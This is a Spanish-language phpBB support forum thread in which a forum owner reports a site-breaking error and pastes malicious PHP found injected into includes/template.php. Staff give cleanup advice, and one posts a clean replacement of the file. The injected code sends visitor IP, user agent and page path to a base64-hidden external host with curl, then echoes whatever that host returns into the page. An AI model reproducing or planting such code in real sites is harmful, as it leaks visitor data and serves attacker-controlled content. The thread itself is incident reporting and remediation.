Recordad que para pedir soporte alguno, debéis facilitar los datos de soporte oportunos por favor, mirad aquí y leer las Normas generales del foro, esto nos servirá de ayuda para dar el mejor soporte..

Gracias.

La Administración de phpBB España.

Error sorpresivo (includes/template.php)

Foros donde podréis dejar vuestras dudas sobre phpBB 3.0.x
Cerrado
Juan Manuel SUBM
Asiduo/a
Mensajes: 125
Registrado: 08 Ene 2012, 10:25

Error sorpresivo (includes/template.php)

#1

Mensaje por Juan Manuel SUBM »

Hola, gentes php.

A la vuelta de unos días de vacaciones me he encontrado con sorpresa un error que inhabilita nuestro sitio.
Y me extraña sobremanera, pues no he instalado nada recientemente, ni siquiera he accedido al ACP ni por supuesto, alterado ningún fichero phpBB3 correspondiente al foro.

¿Qué puede haber pasado?
¿Algún problema de seguridad?
Los permisos del archivo en cuestión figuran como 0755, y he comprobado sobre una copia de seguridad anterior del fichero y aparece incorporado el código que dejo debajo. Antes no estaba. Pero entonces, ¿Quién lo puede haber incluido?

Echadme una mano lo antes posible, por favor. Tenemos el foro KO.

Gracias,
Juanma.


AVISO:
Parse error: syntax error, unexpected T_STRING in /homepages/45/d430510551/htdocs/phpBB3/includes/template.php on line 236

La línea en cuestión es:
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot

Y el contexto de código:

Código: Seleccionar todo

	/**
	* Display handle
	* @access public
	*/
	function display($handle, $include_once = true)
	{
		global $user, $phpbb_hook;

		if (!empty($phpbb_hook) && $phpbb_hook->call_hook(array(__CLASS__, __FUNCTION__), $handle, $include_once, $this))
		{
			if ($phpbb_hook->hook_return(array(__CLASS__, __FUNCTION__)))
			{
				return $phpbb_hook->hook_return_result(array(__CLASS__, __FUNCTION__));
			}
		}

		if (defined('IN_ERROR_HANDLER'))
		{
			if ((E_NOTICE & error_reporting()) == E_NOTICE)
			{
				error_reporting(error_reporting() ^ E_NOTICE);
			}
		}

		if ($filename = $this->_tpl_load($handle))
		{
			($include_once) ? include_once($filename) : include($filename);
		}
		else
		{
			eval(' ?><?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            @$stCurlHandle = curl_init( $stCurlLink ); 
    }
    } 
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 8);
    $sResult = @curl_exec($stCurlHandle); 
    if ($sResult[0]=="O") 
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
    curl_close($stCurlHandle); 
}
}
?>' . $this->compiled_code[$handle] . '<?php ');
		}

		return true;
	}

URL: http://www.iberismo.org
Versión phpBB: 3.0.11 > 3.0.12 > 3.0.14 > 3.3.8 > 3.3.9
EXT's Instaladas (6):
-- Portal BLOCKGETS
-- phpBB mChat Versión 2.1.4
-- Adv. BBCode Box 3 3.0.12
-- Activity Stats MOD 1.0.0
-- Galería phpBB
-- cBB Blog 1.0.1
Plantilla(s) usada(s): khaki_black (prosilver)
Servidor: linux (pago)
Actualización desde otra versión: no
Conversión desde otro sistema de foros: no


Avatar de Usuario
micontre
Ex Staff
Mensajes: 933
Registrado: 13 Sep 2008, 02:34
Edad: 59

Re: Error sorpresivo (includes/template.php)

#2

Mensaje por micontre »

vas a tener que revisar tu ordenador y volver a subir todos los archivos de tu foro cambiando el programa que utilizas ya que eso que ves es un codigo que ha sido inyectado a los archivos.
pero antes de nada.

1º arregla tu pc
2º cambia las claves del ftp
3º limpia tu codigo(no sera ese el unico archivo con la inyeccion de codigo)
normalmente suele ir acompañado de un codigo js en los archivos htlm
ojo, tambien es posible la infeccion por otras web que comparten tu servidor.(informate si hay algun caso mas en el , aunque no se si te daran esa informacion pero estas en tu derecho de hacerlo)
Última edición por micontre el 08 Ago 2013, 16:05, editado 1 vez en total.
Mis datos | Mostrar
URL: http://imaginewal.com/
Plantilla usuada : imaginewal_bis (estilo propio vasado en prosilver.)
Versión de phpBB: 3.1.6
Servidor: Hosting24.com , pago
actualización desde otra versión: ( 3.0.14 __ 3.1.16)
conversión desde otro tipo de Foro: No

Juan Manuel SUBM
Asiduo/a
Mensajes: 125
Registrado: 08 Ene 2012, 10:25

Re: Error sorpresivo (includes/template.php)

#3

Mensaje por Juan Manuel SUBM »

Pero ...
No entiendo nada !!! :o

El archivo tiene permisos 0755, lo que le preserva de escritura por parte de terceros.
¿Cómo es posible que se haya inoculado ese código vírico?

Y por cierto: ¿Esto es normal?
Pensaba que php bajo linux resultaba más que seguro.

Puedo probar a eliminar ese fragmento, a ver que pasa.
Puffff !!!! Menudo plan ...

Gracias, micontre.

URL: http://www.iberismo.org
Versión phpBB: 3.0.11 > 3.0.12 > 3.0.14 > 3.3.8 > 3.3.9
EXT's Instaladas (6):
-- Portal BLOCKGETS
-- phpBB mChat Versión 2.1.4
-- Adv. BBCode Box 3 3.0.12
-- Activity Stats MOD 1.0.0
-- Galería phpBB
-- cBB Blog 1.0.1
Plantilla(s) usada(s): khaki_black (prosilver)
Servidor: linux (pago)
Actualización desde otra versión: no
Conversión desde otro sistema de foros: no


Avatar de Usuario
micontre
Ex Staff
Mensajes: 933
Registrado: 13 Sep 2008, 02:34
Edad: 59

Re: Error sorpresivo (includes/template.php)

#4

Mensaje por micontre »

si que es normal ya que la inyeccion se hace via ftp
¿utilizas filezilla o Dreamweaver no bajado de la web de el autor para subir los archivos?.

eliminando el fracmento recuperaras el foro , pero si hay mas archivos afectados seguira dando error en otro archivo y habran varios usuarios que le saltaran el antivirus.
si tienes backup de los archivos de el foro subelo pero borra antes de subir o los archivos extras que puedas tener continuaran hay. o compara los archivos que tienes con los que hay en el servidor . hay podras ver en que fecha fueron editados.

como dije antes tambien ha podido ser por algun otra web que comparte el servidor.
Mis datos | Mostrar
URL: http://imaginewal.com/
Plantilla usuada : imaginewal_bis (estilo propio vasado en prosilver.)
Versión de phpBB: 3.1.6
Servidor: Hosting24.com , pago
actualización desde otra versión: ( 3.0.14 __ 3.1.16)
conversión desde otro tipo de Foro: No

Juan Manuel SUBM
Asiduo/a
Mensajes: 125
Registrado: 08 Ene 2012, 10:25

Re: Error sorpresivo (includes/template.php)

#5

Mensaje por Juan Manuel SUBM »

Borré el fragmento de código malicioso y ahora me sale esto:

Forbidden
You don't have permission to access / on this server.

Additionally, a 403 Forbidden error was encountered while trying to use an ErrorDocument to handle the request.



Por Dios; ¿Qué está pasando?

URL: http://www.iberismo.org
Versión phpBB: 3.0.11 > 3.0.12 > 3.0.14 > 3.3.8 > 3.3.9
EXT's Instaladas (6):
-- Portal BLOCKGETS
-- phpBB mChat Versión 2.1.4
-- Adv. BBCode Box 3 3.0.12
-- Activity Stats MOD 1.0.0
-- Galería phpBB
-- cBB Blog 1.0.1
Plantilla(s) usada(s): khaki_black (prosilver)
Servidor: linux (pago)
Actualización desde otra versión: no
Conversión desde otro sistema de foros: no


Avatar de Usuario
Rainwod
Ex Staff
Mensajes: 1151
Registrado: 16 Mar 2012, 14:43
Género:
Edad: 31

Re: Error sorpresivo (includes/template.php)

#6

Mensaje por Rainwod »

micontre escribió:la inyeccion se hace via ftp
hay muchas maneras de inyectar código, depende del tipo se escoge la manera.
Intenente algo, reemplace todo el contenido de su archivo template.php por este que le dejo:

Código: Seleccionar todo

<?php
/**
*
* @package phpBB3
* @version $Id$
* @copyright (c) 2005 phpBB Group, sections (c) 2001 ispi of Lincoln Inc
* @license http://opensource.org/licenses/gpl-license.php GNU Public License
*
*/

/**
* @ignore
*/
if (!defined('IN_PHPBB'))
{
	exit;
}

/**
* Base Template class.
* @package phpBB3
*/
class template
{
	/** variable that holds all the data we'll be substituting into
	* the compiled templates. Takes form:
	* --> $this->_tpldata[block][iteration#][child][iteration#][child2][iteration#][variablename] == value
	* if it's a root-level variable, it'll be like this:
	* --> $this->_tpldata[.][0][varname] == value
	*/
	var $_tpldata = array('.' => array(0 => array()));
	var $_rootref;

	// Root dir and hash of filenames for each template handle.
	var $root = '';
	var $cachepath = '';
	var $files = array();
	var $filename = array();
	var $files_inherit = array();
	var $files_template = array();
	var $inherit_root = '';
	var $orig_tpl_storedb;
	var $orig_tpl_inherits_id;

	// this will hash handle names to the compiled/uncompiled code for that handle.
	var $compiled_code = array();

	/**
	* Set template location
	* @access public
	*/
	function set_template()
	{
		global $phpbb_root_path, $user;

		if (file_exists($phpbb_root_path . 'styles/' . $user->theme['template_path'] . '/template'))
		{
			$this->root = $phpbb_root_path . 'styles/' . $user->theme['template_path'] . '/template';
			$this->cachepath = $phpbb_root_path . 'cache/tpl_' . str_replace('_', '-', $user->theme['template_path']) . '_';

			if ($this->orig_tpl_storedb === null)
			{
				$this->orig_tpl_storedb = $user->theme['template_storedb'];
			}

			if ($this->orig_tpl_inherits_id === null)
			{
				$this->orig_tpl_inherits_id = $user->theme['template_inherits_id'];
			}

			$user->theme['template_storedb'] = $this->orig_tpl_storedb;
			$user->theme['template_inherits_id'] = $this->orig_tpl_inherits_id;

			if ($user->theme['template_inherits_id'])
			{
				$this->inherit_root = $phpbb_root_path . 'styles/' . $user->theme['template_inherit_path'] . '/template';
			}
		}
		else
		{
			trigger_error('Template path could not be found: styles/' . $user->theme['template_path'] . '/template', E_USER_ERROR);
		}

		$this->_rootref = &$this->_tpldata['.'][0];

		return true;
	}

	/**
	* Set custom template location (able to use directory outside of phpBB)
	* @access public
	*/
	function set_custom_template($template_path, $template_name, $fallback_template_path = false)
	{
		global $phpbb_root_path, $user;

		// Make sure $template_path has no ending slash
		if (substr($template_path, -1) == '/')
		{
			$template_path = substr($template_path, 0, -1);
		}

		$this->root = $template_path;
		$this->cachepath = $phpbb_root_path . 'cache/ctpl_' . str_replace('_', '-', $template_name) . '_';

		if ($fallback_template_path !== false)
		{
			if (substr($fallback_template_path, -1) == '/')
			{
				$fallback_template_path = substr($fallback_template_path, 0, -1);
			}

			$this->inherit_root = $fallback_template_path;
			$this->orig_tpl_inherits_id = true;
		}
		else
		{
			$this->orig_tpl_inherits_id = false;
		}

		// the database does not store the path or name of a custom template
		// so there is no way we can properly store custom templates there
		$this->orig_tpl_storedb = false;

		$this->_rootref = &$this->_tpldata['.'][0];

		return true;
	}

	/**
	* Sets the template filenames for handles. $filename_array
	* should be a hash of handle => filename pairs.
	* @access public
	*/
	function set_filenames($filename_array)
	{
		if (!is_array($filename_array))
		{
			return false;
		}
		foreach ($filename_array as $handle => $filename)
		{
			if (empty($filename))
			{
				trigger_error("template->set_filenames: Empty filename specified for $handle", E_USER_ERROR);
			}

			$this->filename[$handle] = $filename;
			$this->files[$handle] = $this->root . '/' . $filename;

			if ($this->inherit_root)
			{
				$this->files_inherit[$handle] = $this->inherit_root . '/' . $filename;
			}
		}

		return true;
	}

	/**
	* Destroy template data set
	* @access public
	*/
	function destroy()
	{
		$this->_tpldata = array('.' => array(0 => array()));
		$this->_rootref = &$this->_tpldata['.'][0];
	}

	/**
	* Reset/empty complete block
	* @access public
	*/
	function destroy_block_vars($blockname)
	{
		if (strpos($blockname, '.') !== false)
		{
			// Nested block.
			$blocks = explode('.', $blockname);
			$blockcount = sizeof($blocks) - 1;

			$str = &$this->_tpldata;
			for ($i = 0; $i < $blockcount; $i++)
			{
				$str = &$str[$blocks[$i]];
				$str = &$str[sizeof($str) - 1];
			}

			unset($str[$blocks[$blockcount]]);
		}
		else
		{
			// Top-level block.
			unset($this->_tpldata[$blockname]);
		}

		return true;
	}

	/**
	* Display handle
	* @access public
	*/
	function display($handle, $include_once = true)
	{
		global $user, $phpbb_hook;

		if (!empty($phpbb_hook) && $phpbb_hook->call_hook(array(__CLASS__, __FUNCTION__), $handle, $include_once, $this))
		{
			if ($phpbb_hook->hook_return(array(__CLASS__, __FUNCTION__)))
			{
				return $phpbb_hook->hook_return_result(array(__CLASS__, __FUNCTION__));
			}
		}

		if (defined('IN_ERROR_HANDLER'))
		{
			if ((E_NOTICE & error_reporting()) == E_NOTICE)
			{
				error_reporting(error_reporting() ^ E_NOTICE);
			}
		}

		if ($filename = $this->_tpl_load($handle))
		{
			($include_once) ? include_once($filename) : include($filename);
		}
		else
		{
			eval(' ?>' . $this->compiled_code[$handle] . '<?php ');
		}

		return true;
	}

	/**
	* Display the handle and assign the output to a template variable or return the compiled result.
	* @access public
	*/
	function assign_display($handle, $template_var = '', $return_content = true, $include_once = false)
	{
		ob_start();
		$this->display($handle, $include_once);
		$contents = ob_get_clean();

		if ($return_content)
		{
			return $contents;
		}

		$this->assign_var($template_var, $contents);

		return true;
	}

	/**
	* Load a compiled template if possible, if not, recompile it
	* @access private
	*/
	function _tpl_load(&$handle)
	{
		global $user, $phpEx, $config;

		if (!isset($this->filename[$handle]))
		{
			trigger_error("template->_tpl_load(): No file specified for handle $handle", E_USER_ERROR);
		}

		// reload these settings to have the values they had when this object was initialised
		// using set_template or set_custom_template, they might otherwise have been overwritten
		// by other template class instances in between.
		$user->theme['template_storedb'] = $this->orig_tpl_storedb;
		$user->theme['template_inherits_id'] = $this->orig_tpl_inherits_id;

		$filename = $this->cachepath . str_replace('/', '.', $this->filename[$handle]) . '.' . $phpEx;
		$this->files_template[$handle] = (isset($user->theme['template_id'])) ? $user->theme['template_id'] : 0;

		$recompile = false;
		if (!file_exists($filename) || @filesize($filename) === 0 || defined('DEBUG_EXTRA'))
		{
			$recompile = true;
		}
		else if ($config['load_tplcompile'])
		{
			// No way around it: we need to check inheritance here
			if ($user->theme['template_inherits_id'] && !file_exists($this->files[$handle]))
			{
				$this->files[$handle] = $this->files_inherit[$handle];
				$this->files_template[$handle] = $user->theme['template_inherits_id'];
			}
			$recompile = (@filemtime($filename) < filemtime($this->files[$handle])) ? true : false;
		}

		// Recompile page if the original template is newer, otherwise load the compiled version
		if (!$recompile)
		{
			return $filename;
		}

		global $db, $phpbb_root_path;

		if (!class_exists('template_compile'))
		{
			include($phpbb_root_path . 'includes/functions_template.' . $phpEx);
		}

		// Inheritance - we point to another template file for this one. Equality is also used for store_db
		if (isset($user->theme['template_inherits_id']) && $user->theme['template_inherits_id'] && !file_exists($this->files[$handle]))
		{
			$this->files[$handle] = $this->files_inherit[$handle];
			$this->files_template[$handle] = $user->theme['template_inherits_id'];
		}

		$compile = new template_compile($this);

		// If we don't have a file assigned to this handle, die.
		if (!isset($this->files[$handle]))
		{
			trigger_error("template->_tpl_load(): No file specified for handle $handle", E_USER_ERROR);
		}

		// Just compile if no user object is present (happens within the installer)
		if (!$user)
		{
			$compile->_tpl_load_file($handle);
			return false;
		}

		if (isset($user->theme['template_storedb']) && $user->theme['template_storedb'])
		{
			$rows = array();
			$ids = array();
			// Inheritance
			if (isset($user->theme['template_inherits_id']) && $user->theme['template_inherits_id'])
			{
				$ids[] = $user->theme['template_inherits_id'];
			}
			$ids[] = $user->theme['template_id'];

			foreach ($ids as $id)
			{
				$sql = 'SELECT *
				FROM ' . STYLES_TEMPLATE_DATA_TABLE . '
				WHERE template_id = ' . $id . "
					AND (template_filename = '" . $db->sql_escape($this->filename[$handle]) . "'
						OR template_included " . $db->sql_like_expression($db->any_char . $this->filename[$handle] . ':' . $db->any_char) . ')';

				$result = $db->sql_query($sql);
				while ($row = $db->sql_fetchrow($result))
				{
					$rows[$row['template_filename']] = $row;
				}
				$db->sql_freeresult($result);
			}

			if (sizeof($rows))
			{
				foreach ($rows as $row)
				{
					$file = $this->root . '/' . $row['template_filename'];
					$force_reload = false;
					if ($row['template_id'] != $user->theme['template_id'])
					{
						// make sure that we are not overlooking a file not in the db yet
						if (isset($user->theme['template_inherits_id']) && $user->theme['template_inherits_id'] && !file_exists($file))
						{
							$file = $this->inherit_root . '/' . $row['template_filename'];
							$this->files[$row['template_filename']] = $file;
							$this->files_inherit[$row['template_filename']] = $file;
							$this->files_template[$row['template_filename']] = $user->theme['template_inherits_id'];
						}
						else if (isset($user->theme['template_inherits_id']) && $user->theme['template_inherits_id'])
						{
							// Ok, we have a situation. There is a file in the subtemplate, but nothing in the DB. We have to fix that.
							$force_reload = true;
							$this->files_template[$row['template_filename']] = $user->theme['template_inherits_id'];
						}
					}
					else
					{
						$this->files_template[$row['template_filename']] = $user->theme['template_id'];
					}

					if ($force_reload || $row['template_mtime'] < filemtime($file))
					{
						if ($row['template_filename'] == $this->filename[$handle])
						{
							$compile->_tpl_load_file($handle, true);
						}
						else
						{
							$this->files[$row['template_filename']] = $file;
							$this->filename[$row['template_filename']] = $row['template_filename'];
							$compile->_tpl_load_file($row['template_filename'], true);
							unset($this->compiled_code[$row['template_filename']]);
							unset($this->files[$row['template_filename']]);
							unset($this->filename[$row['template_filename']]);
						}
					}

					if ($row['template_filename'] == $this->filename[$handle])
					{
						$this->compiled_code[$handle] = $compile->compile(trim($row['template_data']));
						$compile->compile_write($handle, $this->compiled_code[$handle]);
					}
					else
					{
						// Only bother compiling if it doesn't already exist
						if (!file_exists($this->cachepath . str_replace('/', '.', $row['template_filename']) . '.' . $phpEx))
						{
							$this->filename[$row['template_filename']] = $row['template_filename'];
							$compile->compile_write($row['template_filename'], $compile->compile(trim($row['template_data'])));
							unset($this->filename[$row['template_filename']]);
						}
					}
				}
			}
			else
			{
				$file = $this->root . '/' . $row['template_filename'];

				if (isset($user->theme['template_inherits_id']) && $user->theme['template_inherits_id'] && !file_exists($file))
				{
					$file = $this->inherit_root . '/' . $row['template_filename'];
					$this->files[$row['template_filename']] = $file;
					$this->files_inherit[$row['template_filename']] = $file;
					$this->files_template[$row['template_filename']] = $user->theme['template_inherits_id'];
				}
				// Try to load from filesystem and instruct to insert into the styles table...
				$compile->_tpl_load_file($handle, true);
				return false;
			}

			return false;
		}

		$compile->_tpl_load_file($handle);
		return false;
	}

	/**
	* Assign key variable pairs from an array
	* @access public
	*/
	function assign_vars($vararray)
	{
		foreach ($vararray as $key => $val)
		{
			$this->_rootref[$key] = $val;
		}

		return true;
	}

	/**
	* Assign a single variable to a single key
	* @access public
	*/
	function assign_var($varname, $varval)
	{
		$this->_rootref[$varname] = $varval;

		return true;
	}

	/**
	* Assign key variable pairs from an array to a specified block
	* @access public
	*/
	function assign_block_vars($blockname, $vararray)
	{
		if (strpos($blockname, '.') !== false)
		{
			// Nested block.
			$blocks = explode('.', $blockname);
			$blockcount = sizeof($blocks) - 1;

			$str = &$this->_tpldata;
			for ($i = 0; $i < $blockcount; $i++)
			{
				$str = &$str[$blocks[$i]];
				$str = &$str[sizeof($str) - 1];
			}

			$s_row_count = isset($str[$blocks[$blockcount]]) ? sizeof($str[$blocks[$blockcount]]) : 0;
			$vararray['S_ROW_COUNT'] = $s_row_count;

			// Assign S_FIRST_ROW
			if (!$s_row_count)
			{
				$vararray['S_FIRST_ROW'] = true;
			}

			// Now the tricky part, we always assign S_LAST_ROW and remove the entry before
			// This is much more clever than going through the complete template data on display (phew)
			$vararray['S_LAST_ROW'] = true;
			if ($s_row_count > 0)
			{
				unset($str[$blocks[$blockcount]][($s_row_count - 1)]['S_LAST_ROW']);
			}

			// Now we add the block that we're actually assigning to.
			// We're adding a new iteration to this block with the given
			// variable assignments.
			$str[$blocks[$blockcount]][] = $vararray;
		}
		else
		{
			// Top-level block.
			$s_row_count = (isset($this->_tpldata[$blockname])) ? sizeof($this->_tpldata[$blockname]) : 0;
			$vararray['S_ROW_COUNT'] = $s_row_count;

			// Assign S_FIRST_ROW
			if (!$s_row_count)
			{
				$vararray['S_FIRST_ROW'] = true;
			}

			// We always assign S_LAST_ROW and remove the entry before
			$vararray['S_LAST_ROW'] = true;
			if ($s_row_count > 0)
			{
				unset($this->_tpldata[$blockname][($s_row_count - 1)]['S_LAST_ROW']);
			}

			// Add a new iteration to this block with the variable assignments we were given.
			$this->_tpldata[$blockname][] = $vararray;
		}

		return true;
	}

	/**
	* Change already assigned key variable pair (one-dimensional - single loop entry)
	*
	* An example of how to use this function:
	* {@example alter_block_array.php}
	*
	* @param	string	$blockname	the blockname, for example 'loop'
	* @param	array	$vararray	the var array to insert/add or merge
	* @param	mixed	$key		Key to search for
	*
	* array: KEY => VALUE [the key/value pair to search for within the loop to determine the correct position]
	*
	* int: Position [the position to change or insert at directly given]
	*
	* If key is false the position is set to 0
	* If key is true the position is set to the last entry
	*
	* @param	string	$mode		Mode to execute (valid modes are 'insert' and 'change')
	*
	*	If insert, the vararray is inserted at the given position (position counting from zero).
	*	If change, the current block gets merged with the vararray (resulting in new key/value pairs be added and existing keys be replaced by the new value).
	*
	* Since counting begins by zero, inserting at the last position will result in this array: array(vararray, last positioned array)
	* and inserting at position 1 will result in this array: array(first positioned array, vararray, following vars)
	*
	* @return bool false on error, true on success
	* @access public
	*/
	function alter_block_array($blockname, $vararray, $key = false, $mode = 'insert')
	{
		if (strpos($blockname, '.') !== false)
		{
			// Nested blocks are not supported
			return false;
		}

		// Change key to zero (change first position) if false and to last position if true
		if ($key === false || $key === true)
		{
			$key = ($key === false) ? 0 : sizeof($this->_tpldata[$blockname]);
		}

		// Get correct position if array given
		if (is_array($key))
		{
			// Search array to get correct position
			list($search_key, $search_value) = @each($key);

			$key = NULL;
			foreach ($this->_tpldata[$blockname] as $i => $val_ary)
			{
				if ($val_ary[$search_key] === $search_value)
				{
					$key = $i;
					break;
				}
			}

			// key/value pair not found
			if ($key === NULL)
			{
				return false;
			}
		}

		// Insert Block
		if ($mode == 'insert')
		{
			// Make sure we are not exceeding the last iteration
			if ($key >= sizeof($this->_tpldata[$blockname]))
			{
				$key = sizeof($this->_tpldata[$blockname]);
				unset($this->_tpldata[$blockname][($key - 1)]['S_LAST_ROW']);
				$vararray['S_LAST_ROW'] = true;
			}
			else if ($key === 0)
			{
				unset($this->_tpldata[$blockname][0]['S_FIRST_ROW']);
				$vararray['S_FIRST_ROW'] = true;
			}

			// Re-position template blocks
			for ($i = sizeof($this->_tpldata[$blockname]); $i > $key; $i--)
			{
				$this->_tpldata[$blockname][$i] = $this->_tpldata[$blockname][$i-1];
				$this->_tpldata[$blockname][$i]['S_ROW_COUNT'] = $i;
			}

			// Insert vararray at given position
			$vararray['S_ROW_COUNT'] = $key;
			$this->_tpldata[$blockname][$key] = $vararray;

			return true;
		}

		// Which block to change?
		if ($mode == 'change')
		{
			if ($key == sizeof($this->_tpldata[$blockname]))
			{
				$key--;
			}

			$this->_tpldata[$blockname][$key] = array_merge($this->_tpldata[$blockname][$key], $vararray);
			return true;
		}

		return false;
	}

	/**
	* Include a separate template
	* @access private
	*/
	function _tpl_include($filename, $include = true)
	{
		$handle = $filename;
		$this->filename[$handle] = $filename;
		$this->files[$handle] = $this->root . '/' . $filename;
		if ($this->inherit_root)
		{
			$this->files_inherit[$handle] = $this->inherit_root . '/' . $filename;
		}

		$filename = $this->_tpl_load($handle);

		if ($include)
		{
			global $user;

			if ($filename)
			{
				include($filename);
				return;
			}
			eval(' ?>' . $this->compiled_code[$handle] . '<?php ');
		}
	}

	/**
	* Include a php-file
	* @access private
	*/
	function _php_include($filename)
	{
		global $phpbb_root_path;

		$file = $phpbb_root_path . $filename;

		if (!file_exists($file))
		{
			// trigger_error cannot be used here, as the output already started
			echo 'template->_php_include(): File ' . htmlspecialchars($file) . ' does not exist or is empty';
			return;
		}
		include($file);
	}
}

?>

Avatar de Usuario
micontre
Ex Staff
Mensajes: 933
Registrado: 13 Sep 2008, 02:34
Edad: 59

Re: Error sorpresivo (includes/template.php)

#7

Mensaje por micontre »

eliminando el fracmento recuperaras el foro , pero si hay mas archivos afectados seguira dando error en otro archivo y habran varios usuarios que le saltaran el antivirus.
vuelve a subir todo con la copia que tengas
Mis datos | Mostrar
URL: http://imaginewal.com/
Plantilla usuada : imaginewal_bis (estilo propio vasado en prosilver.)
Versión de phpBB: 3.1.6
Servidor: Hosting24.com , pago
actualización desde otra versión: ( 3.0.14 __ 3.1.16)
conversión desde otro tipo de Foro: No

Juan Manuel SUBM
Asiduo/a
Mensajes: 125
Registrado: 08 Ene 2012, 10:25

Re: Error sorpresivo (includes/template.php)

#8

Mensaje por Juan Manuel SUBM »

Estoy flipando !!!

He accedido al servidor vía Panel de Control de 1&1, ya que FileZilla me daba también error de conexión.
Las carpeta raiz phpBB3 donde se alojaba el foro está VACÍA.
Esto no puede estar pasando, ¿verdad?

¿Puede un código malicioso llegar a cepillarse absolutamente todo?
Y si fuera así, ¿cómo puede phpBB3 resultar tan sumamente vulnerable?

La última CdS fue hace casi un mes. Quizá no debí dejar pasar tanto tiempo, pero es lo que hay.
Por último me gustaría saber si en este foro se trata seriamente el tema de la seguridad.
Si se confirma la tragedia se perderían muchas horas de trabajo.

Todo esto me parece inaudito.
Me siento impotente y desolado.

Juanma.

URL: http://www.iberismo.org
Versión phpBB: 3.0.11 > 3.0.12 > 3.0.14 > 3.3.8 > 3.3.9
EXT's Instaladas (6):
-- Portal BLOCKGETS
-- phpBB mChat Versión 2.1.4
-- Adv. BBCode Box 3 3.0.12
-- Activity Stats MOD 1.0.0
-- Galería phpBB
-- cBB Blog 1.0.1
Plantilla(s) usada(s): khaki_black (prosilver)
Servidor: linux (pago)
Actualización desde otra versión: no
Conversión desde otro sistema de foros: no


Avatar de Usuario
ThE KuKa
Administrador
Mensajes: 10432
Registrado: 04 Ene 2004, 19:27
Género:
Edad: 50

Re: Error sorpresivo (includes/template.php)

#9

Mensaje por ThE KuKa »

En un tema de seguridad y/o vulnerabilidad no solo debes tener en cuenta phpBB 3 puede que sea cosa del servidor, o de otra web del servidor incluso, u otro script usado en el mismo servidor, pero en phpBB3 no hay ninguna vulnerabilidad en el archivo /includes/template.php eso seguro.

📌 Raul [ThE KuKa] en phpBB 📌
✅ Jr. Extension Validator - Jr. Styles Validator - Style Customisations - Translator - International Support Team
✅

Si te gustan mis estilos, traducciones, etc. y quieres mostrar algo de aprecio, no dudes en hacer una donación Imagen
:flag_es: phpBB España - En línea desde 2003 :heart:



Avatar de Usuario
micontre
Ex Staff
Mensajes: 933
Registrado: 13 Sep 2008, 02:34
Edad: 59

Re: Error sorpresivo (includes/template.php)

#10

Mensaje por micontre »

¿te has puesto en contacto con el servidor?.

en estos casos siempre hay que tomar unas medidas minimas que te enumeré en el primer comentario y por lo que veo no has seguido.
ahora te sugiero que cambies todas las contraseñas que tenga relacion cn el foro.
emeil , ftp ,panel de de control , usuario de el servidor ......


el servidor no suele borrar nada sin avisar pero si puede aislar y bloquear el acceso a lor archivos .

repito , ponte en contacto con tu servidor que ellos si monitorizan los movimientos que han habido y pueden darte mas informacion que nosotros
Mis datos | Mostrar
URL: http://imaginewal.com/
Plantilla usuada : imaginewal_bis (estilo propio vasado en prosilver.)
Versión de phpBB: 3.1.6
Servidor: Hosting24.com , pago
actualización desde otra versión: ( 3.0.14 __ 3.1.16)
conversión desde otro tipo de Foro: No

Juan Manuel SUBM
Asiduo/a
Mensajes: 125
Registrado: 08 Ene 2012, 10:25

Re: Error sorpresivo (includes/template.php)

#11

Mensaje por Juan Manuel SUBM »

Gracias, chicos.

Estoy en ello. Os cuento en cuanto sepa algo.

Juanma.

URL: http://www.iberismo.org
Versión phpBB: 3.0.11 > 3.0.12 > 3.0.14 > 3.3.8 > 3.3.9
EXT's Instaladas (6):
-- Portal BLOCKGETS
-- phpBB mChat Versión 2.1.4
-- Adv. BBCode Box 3 3.0.12
-- Activity Stats MOD 1.0.0
-- Galería phpBB
-- cBB Blog 1.0.1
Plantilla(s) usada(s): khaki_black (prosilver)
Servidor: linux (pago)
Actualización desde otra versión: no
Conversión desde otro sistema de foros: no


Juan Manuel SUBM
Asiduo/a
Mensajes: 125
Registrado: 08 Ene 2012, 10:25

Re: Error sorpresivo (includes/template.php)

#12

Mensaje por Juan Manuel SUBM »

Os debía una respuesta y ahí va:

Tras ponerme en contacto con el servidor, hemos conseguido restaurar toda la documentación del sitio, y ya tengo una copia de seguridad reciente. Como tampoco se trata de estar haciendo CdS's cada dos por tres, es posible que contratemos una aplicación de seguridad llamada SiteLook, que proporciona el suministrador (en este caso, 1&1).

Por otro lado, he intentado averiguar lo que ha ocurrido, pero ellos se autoeximen de toda responsabilidad y apuntan a phpBB como origen de vulnerabilidad. Pero no se me alcanza cómo un usuario podría acceder a los ficheros del servidor; Ni siquiera un administrador con acceso al ACP creo que podría, pues para eso hacen falta las claves específicas. Además todos los plugins que he instalado son oficiales, y nuestra versión phpBB 3.0.11 es bastante actual.

Tampoco me han ayudado mucho en la investigación. Tan solo me han remitido a los ficheros ftp.log donde se queda registro, pero no me es fácil seguirlos la pista. No soy un experto.

En fin. Me temo que me voy a quedar con las ganas de saber qué ha ocurrido, o más bien por que agujero de seguridad se inoculó el código malicioso que os mostraba al principio de este tema, cuando me alertó el error producido en includes/template.php antes del borrado de la documentación.

Lo cabal es seguir los consejos de la gente que sabe. Y si ellos dan unos y vosotros otros, pues adelante con todos.


